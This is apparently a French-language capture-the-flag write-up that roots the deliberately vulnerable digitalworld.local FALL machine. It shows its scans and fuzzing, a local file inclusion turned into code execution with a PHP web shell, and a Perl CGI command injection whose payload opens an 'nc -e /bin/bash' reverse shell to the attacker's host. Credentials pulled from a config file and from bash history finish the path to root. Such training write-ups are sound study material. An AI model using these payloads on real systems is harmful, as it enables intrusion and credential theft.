digitalworld.local: FALL est l’avant-dernier (à l’heure de ces lignes) CTF de la série digitalworld.local créé par Donavan.
Comme vous le constaterez par la suite, il s’adresse plutôt aux débutants qui veulent s’exercer en énumération web et système Unix.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
Nmap scan report for 192.168.56.124
Host is up (0.00037s latency).
Not shown: 65441 filtered tcp ports (no-response), 81 filtered tcp ports (host-prohibited)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.8 (protocol 2.0)
| ssh-hostkey:
| 2048 c586f96427a4385b8a11f9444b2aff65 (RSA)
| 256 e1000bcc5921696c1ac17722395a354f (ECDSA)
|_ 256 1d4e146d20f456da65836f7d339df0ed (ED25519)
80/tcp open http Apache httpd 2.4.39 ((Fedora) OpenSSL/1.1.0i-fips mod_perl/2.0.10 Perl/v5.26.3)
|_http-server-header: Apache/2.4.39 (Fedora) OpenSSL/1.1.0i-fips mod_perl/2.0.10 Perl/v5.26.3
|_http-generator: CMS Made Simple - Copyright (C) 2004-2021. All rights reserved.
| http-robots.txt: 1 disallowed entry
|_/
|_http-title: Good Tech Inc's Fall Sales - Home
111/tcp closed rpcbind
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: SAMBA)
443/tcp open ssl/http Apache httpd 2.4.39 ((Fedora) OpenSSL/1.1.0i-fips mod_perl/2.0.10 Perl/v5.26.3)
|_http-server-header: Apache/2.4.39 (Fedora) OpenSSL/1.1.0i-fips mod_perl/2.0.10 Perl/v5.26.3
| ssl-cert: Subject: commonName=localhost.localdomain/organizationName=Unspecified/countryName=US
| Subject Alternative Name: DNS:localhost.localdomain
| Not valid before: 2019-08-15T03:51:33
|_Not valid after: 2020-08-19T05:31:33
| tls-alpn:
|_ http/1.1
|_ssl-date: TLS randomness does not represent time
| http-robots.txt: 1 disallowed entry
|_/
|_http-title: Good Tech Inc's Fall Sales - Home
|_http-generator: CMS Made Simple - Copyright (C) 2004-2021. All rights reserved.
445/tcp open netbios-ssn Samba smbd 4.8.10 (workgroup: SAMBA)
3306/tcp open mysql MySQL (unauthorized)
8000/tcp closed http-alt
8080/tcp closed http-proxy
8443/tcp closed https-alt
9090/tcp open http Cockpit web service 162 - 188
|_http-title: Did not follow redirect to https://192.168.56.124:9090/
10080/tcp closed amanda
10443/tcp closed cirrossp
MAC Address: 08:00:27:43:3E:C5 (Oracle VirtualBox virtual NIC)
Service Info: Host: FALL; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_clock-skew: mean: 3h20m05s, deviation: 4h02m29s, median: 1h00m05s
| smb2-time:
| date: 2023-03-13T21:15:59
|_ start_date: N/A
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.8.10)
| Computer name: fall
| NetBIOS computer name: FALL\x00
| Domain name: \x00
| FQDN: fall
|_ System time: 2023-03-13T14:15:56-07:00
| smb2-security-mode:
| 311:
|_ Message signing enabled but not required
| smb-security-mode:
| account_used: <blank>
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
Application non identifiée
Sur le port 9090 se trouve cette application web que Nmap semble reconnaître comme Cockpit web service 162 - 188
. Quand on regarde le code source on voit effectivement des références à Cockpit
mais sans plus de détails.
Dans le code javascript on peut lire cette référence :
1
"x-generator": "Zanata 4.6.2"
Sur exploit-db
je trouve différents résultats pour cockpit
mais ça ne semble pas correspondre, parfois l’exploit semble utiliser un port différent ce qui n’est pas engageant.
J’ai vu un exploit qui utilisait bien le port 9090, mais il ne semble n’avoir aucun effet.
L’appli web a d’ailleurs une présentation un peu trop officielle (avec logo Fedora) qui laisse penser qu’elle vient par défaut avec le système. Je passe donc mon tour.
Pas pour cette fois
Sur le port 80 se trouve un CMS Made Simple. Vous trouverez des exemples d’exploitation en cherchant sur mon blog, mais ici l’appli ne semble pas vulnérable.
Ce qu’il faut retenir ici, c’est ce message posté par l’utilisateur qiu
sur le CMS :
Fellow administrators, stop polluting the webroot with all sorts of test scripts! This is production for heaven’s sake!
J’ai donc procédé à une énumération web avec feroxbuster
et la wordlist de dirbuster. Ça m’a remonté quelques noms de dossiers :
1
2
3
4
5
6
7
8
301 7l 20w 238c http://192.168.56.124/modules
301 7l 20w 238c http://192.168.56.124/uploads
301 7l 20w 234c http://192.168.56.124/doc
301 7l 20w 236c http://192.168.56.124/admin
301 7l 20w 237c http://192.168.56.124/assets
301 7l 20w 234c http://192.168.56.124/lib
301 7l 20w 234c http://192.168.56.124/tmp
403 9l 24w 223c http://192.168.56.124/ksiazka%2Eedu%2Epl
Finalement j’ai eu recours à la wordlist raft-large-words.txt
de FuzzDB en spécifiant l’extension de fichier php
pour la recherche. Ça m’a remonté ce script test.php
qui se plaignait de ne pas avoir de paramètres reçus par GET
(donc via la query string). J’utilise une wordlist contenant des noms de paramètres communs pour voir s’il y en a un qui provoque une réponse différente :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
$ ffuf -u "http://192.168.56.124/test.php?FUZZ=1" -w tools/wordlists/common_query_parameter_names.txt -fs 80
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.3.1
________________________________________________
:: Method : GET
:: URL : http://192.168.56.124/test.php?FUZZ=1
:: Wordlist : FUZZ: tools/wordlists/common_query_parameter_names.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405
:: Filter : Response size: 80
________________________________________________
file [Status: 200, Size: 0, Words: 1, Lines: 1]
:: Progress: [5699/5699] :: Job [1/1] :: 329 req/sec :: Duration: [0:00:11] :: Errors: 0 ::
Sans trop de surprise ce paramètre est vulnérable à un directory traversal : si on lui passe /etc/passwd
on obtient la liste des utilisateurs.
Si on indique au script de se lire lui-même (test.php?file=test.php
) le semble centre rentrer dans une boucle ce qui est signe qu’une inclusion a lieu et non un simple file_gets_content
ou similaire.
C’est donc l’occasion de sortir GitHub - synacktiv/php_filter_chain_generator et de créer une chaine de filtres pour le code PHP suivant :
1
<?php system($_GET["c"]); ?>
Avec ça je peux rapatrier reverse-ssh et obtenir un shell interactif.
No security in this crazy world
Une fois sur le système, je fouille un peu dans la racine web.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
bash-4.4$ cat config.php
<?php
# CMS Made Simple Configuration File
# Documentation: https://docs.cmsmadesimple.org/configuration/config-file/config-reference
#
$config['dbms'] = 'mysqli';
$config['db_hostname'] = '127.0.0.1';
$config['db_username'] = 'cms_user';
$config['db_password'] = 'P@ssw0rdINSANITY';
$config['db_name'] = 'cms_db';
$config['db_prefix'] = 'cms_';
$config['timezone'] = 'Asia/Singapore';
$config['db_port'] = 3306;
?>
Avec ce mot de passe je peux dumper les hashes du CMS mais aucun n’est trouvé par crackstation.net
.
1
2
3
4
5
6
7
8
mysql> select * from cms_users;
+---------+----------+----------------------------------+--------------+------------+-----------+----------------------+--------+---------------------+---------------------+
| user_id | username | password | admin_access | first_name | last_name | email | active | create_date | modified_date |
+---------+----------+----------------------------------+--------------+------------+-----------+----------------------+--------+---------------------+---------------------+
| 1 | qiu | bc8b9059c13582d649d3d9e48c16d67f | 1 | qiu qing | chan | qiu@goodtech.inc | 1 | 2021-05-21 17:06:29 | 2021-05-22 02:28:53 |
| 2 | patrick | 6aea70cc6a678f0f83a82e1c753d7764 | 1 | Patrick | Ong | patrick@goodtech.inc | 1 | 2021-05-22 02:28:33 | 2021-05-22 16:54:13 |
+---------+----------+----------------------------------+--------------+------------+-----------+----------------------+--------+---------------------+---------------------+
2 rows in set (0.00 sec)
Je remarque aussi des scripts dans cgi-bin
dont l’un est vulnérable à une injection de commande (chemin exploitation alternatif) :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
bash-4.4$ cat test.pl
#!/usr/bin/perl
print "Content-type: text/html\n\n";
print "Welcome to Good Tech Inc Hint Corner.";
bash-4.4$ cat terriblescript.pl
#!/usr/bin/perl -w
use strict;
use CGI ':standard';
print "Content-type: text/html\n\n";
my $file = param('file');
print "<P>You are previewing $file .";
system ("cat /var/www/html/$file");
On peut obtenir un shell www-data
avec cette URL :
1
http://192.168.56.124/cgi-bin/terriblescript.pl?file=`nc%20-e%20/bin/bash%20192.168.56.1%207777`
Mais revenons à nos moutons… Il y a un utilisateur qiu sur le système et il est membre du groupe… wheel
.
1
2
bash-4.4$ id qiu
uid=1000(qiu) gid=1000(qiu) groups=1000(qiu),10(wheel)
Sans doute une particularité du système Fedora 28 (Server Edition)
. Il n’y a pas de groupe sudo
sur la machine.
L’utilisateur a mis sa clé privée SSH en lecture pour tous :
1
2
3
4
5
6
7
8
9
10
11
12
bash-4.4$ find / -user qiu -ls 2> /dev/null
50460117 0 -rw-rw---- 1 qiu mail 0 Aug 14 2019 /var/spool/mail/qiu
27377 0 drwxr-xr-x 3 qiu qiu 128 May 21 2021 /home/qiu
27378 4 -rw-r--r-- 1 qiu qiu 18 Mar 15 2018 /home/qiu/.bash_logout
27379 4 -rw-r--r-- 1 qiu qiu 193 Mar 15 2018 /home/qiu/.bash_profile
27380 4 -rw-r--r-- 1 qiu qiu 231 Mar 15 2018 /home/qiu/.bashrc
26322 4 -rw-r--r-- 1 qiu qiu 27 May 21 2021 /home/qiu/local.txt
171666 0 drwxr-xr-x 2 qiu qiu 61 May 21 2021 /home/qiu/.ssh
1377102 4 -rwxrwxrwx 1 qiu qiu 1831 May 21 2021 /home/qiu/.ssh/id_rsa
1378060 4 -rwxrwxrwx 1 qiu qiu 407 May 21 2021 /home/qiu/.ssh/id_rsa.pub
72119 4 -rw-rw-r-- 1 qiu qiu 38 May 21 2021 /home/qiu/reminder
1378059 4 -rw------- 1 qiu qiu 292 Sep 5 2021 /home/qiu/.bash_history
On peut donc facilement se connecter sur son compte :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
bash-4.4$ cat /home/qiu/local.txt
A low privilege shell! :-)
bash-4.4$ cat /home/qiu/reminder
reminder: delete the SSH private key!
bash-4.4$ ssh -i .ssh/id_rsa qiu@127.0.0.1
Could not create directory '/usr/share/httpd/.ssh'.
The authenticity of host '127.0.0.1 (127.0.0.1)' can't be established.
ECDSA key fingerprint is SHA256:+P4Rs5s4ipya3/t+GBoy0WjQqL/LaExt9MFvWgld4xc.
Are you sure you want to continue connecting (yes/no)? yes
Failed to add the host to the list of known hosts (/usr/share/httpd/.ssh/known_hosts).
Web console: https://FALL:9090/
Last login: Sun Sep 5 19:28:51 2021
[qiu@FALL ~]$ id
uid=1000(qiu) gid=1000(qiu) groups=1000(qiu),10(wheel)
J’ai regardé s’il y avait quoi que ce soit à tirer de ce groupe wheel
mais sans succès :
1
2
3
4
5
6
7
8
9
10
[qiu@FALL ~]$ find / -group wheel 2>/dev/null
/var/lib/cockpit
[qiu@FALL ~]$ ls -ald /var/lib/cockpit
drwxrwxr-x. 2 root wheel 6 Nov 28 2018 /var/lib/cockpit
[qiu@FALL ~]$ cd /var/lib/cockpit
[qiu@FALL cockpit]$ ls -al
total 4
drwxrwxr-x. 2 root wheel 6 Nov 28 2018 .
drwxr-xr-x. 53 root root 4096 Aug 15 2019 ..
Il ne nous restait que l’historique bash de l’utilisateur qu’on ne pouvait pas lire précédemment :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
[qiu@FALL ~]$ cat .bash_history
ls -al
cat .bash_history
rm .bash_history
echo "remarkablyawesomE" | sudo -S dnf update
ifconfig
ping www.google.com
ps -aux
ps -ef | grep apache
env
env > env.txt
rm env.txt
lsof -i tcp:445
lsof -i tcp:80
ps -ef
lsof -p 1930
lsof -p 2160
rm .bash_history
exit
ls -al
cat .bash_history
exit
Le mot de passe qu’il a utilisé pour sudo
est valide :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
[qiu@FALL ~]$ sudo su
[sudo] password for qiu:
[root@FALL qiu]# cd /root
[root@FALL ~]# ls
anaconda-ks.cfg original-ks.cfg proof.txt remarks.txt
[root@FALL ~]# cat proof.txt
Congrats on a root shell! :-)
[root@FALL ~]# cat remarks.txt
Hi!
Congratulations on rooting yet another box in the digitalworld.local series!
You may have first discovered the digitalworld.local series from looking for deliberately vulnerably machines to practise for the PEN-200 (thank you TJ_Null for featuring my boxes on the training list!)
I hope to have played my little part at enriching your PEN-200 journey.
Want to find the author? Find the author on Linkedin by rooting other boxes in this series!
Alternative happy ending
Si on n’utilise pas la technique de chainage des filtres PHP alors transformer l’inclusion PHP en RCE peut être problématique. En effet, il n’y a ici aucun log à injecter. La seule solution semble de consulter /etc/passwd
, voir qu’il y a un utilisateur qiu
puis accéder à sa clé privée SSH. L’autre technique consiste à passer par le CGI Perl vulnérable.